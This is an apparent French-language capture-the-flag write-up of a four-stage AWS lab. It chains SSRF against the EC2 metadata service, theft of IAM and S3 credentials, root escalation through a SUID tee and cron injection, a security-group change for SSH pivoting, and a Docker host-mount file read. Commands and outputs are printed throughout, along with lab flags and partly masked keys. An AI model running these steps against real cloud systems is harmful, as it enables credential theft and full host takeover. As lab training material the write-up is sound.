WriteUps / CTF / Hackin-2026 / Inner secrets
CTFHackin-2026

Inner secrets

HARD

Un Createur de CTF completement fou (lololekik) a decide de recreer une nouvelle plateforme de CTF from scratch en full SAAS sur AWS. Prouvez lui qu'il ne sait pas DEV et qu'il n'a rien compris au fonctionnement d'AWS !

✍️Par TomyThePingu📅11 avril 2026
CloudHaremAWSEC2IMDS

Hackin-2026

Introduction

Un Createur de CTF completement fou (lololekik) a decide de recreer une nouvelle plateforme de CTF from scratch en full SAAS sur AWS. Prouvez lui qu'il ne sait pas DEV et qu'il n'a rien compris au fonctionnement d'AWS !

Autre information : le Lab met entre 5 a 6 min a se deployer sur AWS. Ce challenge fait partie d'une suite de 4 challenges. Des que vous avez trouve un flag, relancez le docker du prochain challenge. L'infrastructure est la meme pour les 4 challenges. Il n'y a que le premier chall qui lance tout le LAB, et donc il ne faut surtout pas couper le docker de ce challenge pour continuer le lab sur les autres chall qui suivent.


Flag 1 - SSRF & IMDS Enumeration

Contexte

Le premier challenge expose une interface web Machine Status Checker contenant une faille SSRF (Server-Side Request Forgery). L'application envoie des requêtes HTTP côté serveur vers l'URL fournie par l'utilisateur.

Exploitation

En ciblant le service de métadonnées AWS (IMDS), on peut énumérer les informations de l'instance EC2.

On commence par lister les métadonnées disponibles :

http://169.254.169.254/latest/meta-data/

Puis on récupère le user-data qui contient le script de démarrage de l'instance :

http://169.254.169.254/latest/user-data

Ce qui nous retourne :

Content-Type: multipart/mixed; boundary="//" 
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
swap:
  filename: /swapfile
  size: 2147483648
  maxsize: 2147483648
packages:
  - awscli
  - curl
  - git

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="bootstrap.sh"

#!/bin/bash
# CloudHarem Platform Bootstrap
# Internal config - do not modify
# API_KEY=HNx05{056d39721da06991b522ed58c95aa867}}
exec > /var/log/cloud-init-ctf.log 2>&1
R=$(curl -sf http://169.254.169.254/latest/meta-data/placement/region 2>/dev/null || echo "eu-west-1")
for i in $(seq 1 30); do curl -sf http://169.254.169.254/latest/meta-data/iam/security-credentials/ >/dev/null 2>&1 && break; sleep 2; done
B=$(curl -sf http://169.254.169.254/latest/meta-data/tags/instance/S3Bucket 2>/dev/null)
T=$(curl -sf http://169.254.169.254/latest/meta-data/tags/instance/TeamId 2>/dev/null)
for i in $(seq 1 10); do aws s3 cp "s3://$B/teams/$T/setup/init.sh" /opt/init.sh --region $R && break; sleep 10; done
chmod +x /opt/init.sh && /opt/init.sh
--//--

Le flag est présent en clair dans le script bootstrap.

Flag 1

HNx05{056d39721da06991b522ed58c95aa867}

On récupère également des credentials AWS temporaires via IMDS ainsi que l'ID de l'instance :

http://169.254.169.254/latest/meta-data/iam/security-credentials/

{
   "AccessKeyId": "AS****************R2",
   "Code": "Success",
   "Expiration": "20*********19:32:25Z",
   "LastUpdated": "20*********12:57:25Z",
   "SecretAccessKey": "n3************************************ib",
   "Token": "IQ**...**sM",
   "Type": "AWS-HMAC"
}
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/public-hostname

i-0a**************b
ec2-34-**************.eu-west-1.compute.amazonaws.com

Flag 2 - Privilege Escalation & S3 Enumeration

Contexte

Le deuxième challenge demande d'utiliser les credentials IMDS récupérés précédemment pour se connecter en SSH via EC2 Instance Connect, puis d'escalader les privilèges.

Exploitation

On configure les credentials AWS :

export AWS_ACCESS_KEY_ID="AS****************R2"
export AWS_SECRET_ACCESS_KEY="n3************************************ib"
export AWS_SESSION_TOKEN="IQ**************"
export AWS_DEFAULT_REGION="eu-west-1"

On push une clé SSH publique sur l'instance via EC2 Instance Connect puis on se connecte :

aws ec2-instance-connect send-ssh-public-key \
  --region eu-west-1 \
  --instance-id i-0a**************b \
  --instance-os-user lololekik-admin \
  --ssh-public-key file:///tmp/ctf_key.pub

ssh -i /tmp/ctf_key -o StrictHostKeyChecking=no lololekik-admin@34.243.155.41

Une fois connecté, on se retrouve sur le serveur dev via un ForceCommand SSH. On commence l'énumération pour trouver un vecteur d'escalade de privilèges.

On cherche des binaires avec le bit SUID :

lololekik-dev@ip-10-0-2-44:~/.ssh$ find / -perm -4000 2>/dev/null 
/snap/core20/2686/usr/bin/chfn  
/snap/core20/2686/usr/bin/chsh  
/snap/core20/2686/usr/bin/gpasswd  
/snap/core20/2686/usr/bin/mount  
/snap/core20/2686/usr/bin/newgrp  
/snap/core20/2686/usr/bin/passwd  
/snap/core20/2686/usr/bin/su  
/snap/core20/2686/usr/bin/sudo  
/snap/core20/2686/usr/bin/umount  
/snap/core20/2686/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/snap/core20/2686/usr/lib/openssh/ssh-keysign  
/snap/core22/2292/usr/bin/chfn  
/snap/core22/2292/usr/bin/chsh  
/snap/core22/2292/usr/bin/gpasswd  
/snap/core22/2292/usr/bin/mount  
/snap/core22/2292/usr/bin/newgrp  
/snap/core22/2292/usr/bin/passwd  
/snap/core22/2292/usr/bin/su  
/snap/core22/2292/usr/bin/sudo  
/snap/core22/2292/usr/bin/umount  
/snap/core22/2292/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/snap/core22/2292/usr/lib/openssh/ssh-keysign  
/snap/core22/2292/usr/libexec/polkit-agent-helper-1  
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/openssh/ssh-keysign  
/usr/bin/sudo  
/usr/bin/chfn  
/usr/bin/mount  
/usr/bin/fusermount3  
/usr/bin/passwd  
/usr/bin/newgrp  
/usr/bin/gpasswd  
/usr/bin/umount  
/usr/bin/pkexec  
/usr/bin/tee  
/usr/bin/chsh  
/usr/bin/su  
/usr/libexec/polkit-agent-helper-1

/usr/bin/tee possède le bit SUID — ce qui permet d'écrire dans des fichiers appartenant à root. On découvre également un cron job qui s'exécute en root toutes les 5 minutes :

lololekik-dev@ip-10-0-2-44:/opt/deployment$ cat /etc/cron.d/cloud-monitor 
*/5 * * * * root /opt/cloud-monitor.sh > /dev/null 2>&1

On combine les deux pour injecter une commande dans le cron :

lololekik-dev@ip-10-0-2-44:/opt/deployment$ echo "* * * * * root chmod 4755 /bin/bash" | tee -a /etc/cron.d/cloud-monitor

Après une minute d'attente :

/bin/bash -p
bash-5.1# whoami
root

On récupère les credentials AWS longterm dans /root/.aws/ :

bash-5.1# cat credentials   
[default]  
aws_access_key_id = A****************K4V 
aws_secret_access_key = a************************************jIi  
bash-5.1# cat README  
# AWS credentials for infrastructure management  
# Used by automated monitoring scripts  
# DO NOT SHARE - admin-level access  
bash-5.1# cat config   
[default] 
region = eu-west-1  
output = json

On configure ces nouvelles clés et on énumère les buckets S3 :

[Apr 11, 2026 - 20:16:28 (CEST)] exegol-Hackin /workspace # aws s3 ls   
2026-04-11 17:49:36 harem-ctf-69d9faa***************-1r5xxo-data   
[Apr 11, 2026 - 20:16:28 (CEST)] exegol-Hackin /workspace # aws s3 ls s3://harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-data/ --recursive    
2026-04-11 18:23:45        216 teams/69d9faa***************/README.txt    
2026-04-11 18:23:45        194 teams/69d9faa***************/confidential/database-backup.csv    
2026-04-11 18:23:45        208 teams/69d9faa***************/config/developer-credentials.txt    
2026-04-11 18:23:45      13874 teams/69d9faa***************/setup/cloud-init-public.sh    
2026-04-11 18:23:46       3243 teams/69d9faa***************/setup/dev-server-key.pem    
2026-04-11 18:23:45        791 teams/69d9faa***************/setup/init.sh    
2026-04-11 18:23:46        836 teams/69d9faa***************/setup/secrets.env

On télécharge les fichiers sensibles :

[Apr 11, 2026 - 20:19:08 (CEST)] exegol-Hackin /workspace # aws s3 cp s3://harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-data/teams/69d9faa***************/confidential/database-backup.csv __.__    
cat database-backup.csv    
aws s3 cp s3://harem-ctf-69d9faa***************8-1r5xxo-data/teams/69d9faa***************/config/developer-credentials.txt __.__    
cat developer-credentials.txt   
aws s3 cp s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/README.txt __.__    
cat README.txt    
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/confidential/database-backup.csv to ./database-backup.csv    
   
id,username,password,role,flag 1,admin,P@ssw0rd123!,superadmin,HNx05{a21456a5aa3932c878c04259e99de3d7}    
2,dev,dev1234,developer,    
3,backup,BackupStr0ng!,backup-admin,    
4,readonly,R34dOnly#,viewer,    
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/config/developer-credentials.txt to ./developer-credentials.txt    
# CloudHarem Developer Credentials    
# Used for CI/CD pipeline - DO NOT DELETE    
AWS_ACCESS_KEY_ID=AKIAXZOYVWTJ********    
AWS_SECRET_ACCESS_KEY=1E7mEaUb/2nrelrfl4e********************    
AWS_DEFAULT_REGION=eu-west-1    
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/README.txt to ./README.txt     
CloudHarem Internal Storage ===========================    
Team: 69d9faad4d54b87cb9f4e248    
This bucket contains internal data accessible only from within the VPC.    
Check the /confidential/ directory for sensitive files.

Flag 2

HNx05{a21456a5aa3932c878c04259e99de3d7}


Flag 3 - SSH Pivot vers l'Entry Point

Contexte

Le troisième challenge demande d'atteindre le serveur de production (entry point) depuis le serveur dev, où tourne la plateforme Harem.

Exploitation

On récupère le Security Group de l'instance entry point :

aws ec2 describe-instances \
  --instance-ids i-09c78ef835c286cff \
  --query 'Reservations[0].Instances[0].SecurityGroups' \
  --region eu-west-1
[
   {
      "GroupId": "sg-0a6ab33cc3b37265f",
      "GroupName": "harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-challenge-sg"
   }
]

On autorise le trafic SSH depuis le subnet du serveur dev :

aws ec2 authorize-security-group-ingress \
  --group-id sg-0a6ab33cc3b37265f \
  --protocol tcp \
  --port 22 \
  --cidr 10.0.2.0/24 \
  --region eu-west-1
{
   "Return": true,
   "SecurityGroupRules": [
      {
         "CidrIpv4": "10.0.2.0/24",
         "FromPort": 22,
         "GroupId": "sg-0a6ab33cc3b37265f",
         "GroupOwnerId": "535714706642",
         "IpProtocol": "tcp",
         "IsEgress": false,
         "SecurityGroupRuleArn": "arn:aws:ec2:eu-west-1:535714706642:security-group-rule/sgr-0badd86471d18fb70",
         "SecurityGroupRuleId": "sgr-0badd86471d18fb70",
         "ToPort": 22
      }
   ]
}

On push une nouvelle clé SSH sur l'entry point et on s'y connecte depuis le serveur dev (la connexion venant du réseau interne 10.0.0.0/8 bypasse le ForceCommand) :

ssh -i /tmp/ctf_key \
  -o StrictHostKeyChecking=no \
  lololekik-admin@1**.***.***.**

lololekik-admin@ip-10-0-*-***:$

Le flag 3 est disponible dans le home de lololekik-admin.

Flag 3

HNx05{fec20eb17304815e4091c98217817fb4}


Flag 4 - Docker Escape via Harem Admin

Contexte

Le dernier challenge demande d'abuser de la plateforme Harem mal configurée pour escalader les privilèges et lire un fichier accessible uniquement par root.

Exploitation

Dans /opt/ctf-status.json on trouve les credentials admin de la plateforme :

lololekik-admin@ip-10-0-1-191:/opt$ cat ctf-status.json
{
   "admin_pass": "5b468c77d6884470",
   "admin_user": "admin",
   "platform": "harem-light",
   "port": 8080,
   "setup_complete": true,
   "team_id": "69d9faad4d54b87cb9f4e248",
   "timestamp": "2026-04-11T16:28:04+00:00"
}

On se connecte en admin sur la plateforme Harem (http://<IP>:8080) et on modifie le CHALLENGES_REPO_URL pour pointer vers un repo Git malveillant contenant un docker-compose.yml qui monte /root de l'hôte dans le conteneur, ainsi qu'une application Flask avec un endpoint de lecture de fichiers :

services:
  web:
    build: .
    environment:
      - FLAG=${FLAG}
    ports:
      - "80"
    volumes:
      - /root/:/root/
@app.route('/api/files')
def files():
    path = request.args.get('path', '/hostopt')
    try:
        if os.path.isfile(path):
            with open(path) as f:
                return f.read()
        elif os.path.isdir(path):
            return '\n'.join(os.listdir(path))
    except Exception as e:
        return str(e)

Une fois le conteneur déployé par la plateforme, on lit le flag via l'endpoint :

http://34.163.11.9:<PORT>/api/files?path=/root/flag4.txt

Flag 4

HNx05{b48ac79f9f1a2ed3acbae3e47c324f1a}


Conclusion

Nous avons été la seule équipe à terminer ce challenge dans sa totalité, ce qui nous a permis de sécuriser un bounty d'une valeur de 100€ !

Récapitulatif des flags

Flag Valeur Technique
FLAG1 HNx05{056d39721da06991b522ed58c95aa867} SSRF → IMDS user-data
FLAG2 HNx05{a21456a5aa3932c878c04259e99de3d7} PrivEsc → S3 enumeration
FLAG3 HNx05{fec20eb17304815e4091c98217817fb4} SSH Pivot interne
FLAG4 HNx05{b48ac79f9f1a2ed3acbae3e47c324f1a} Docker Escape via Harem Admin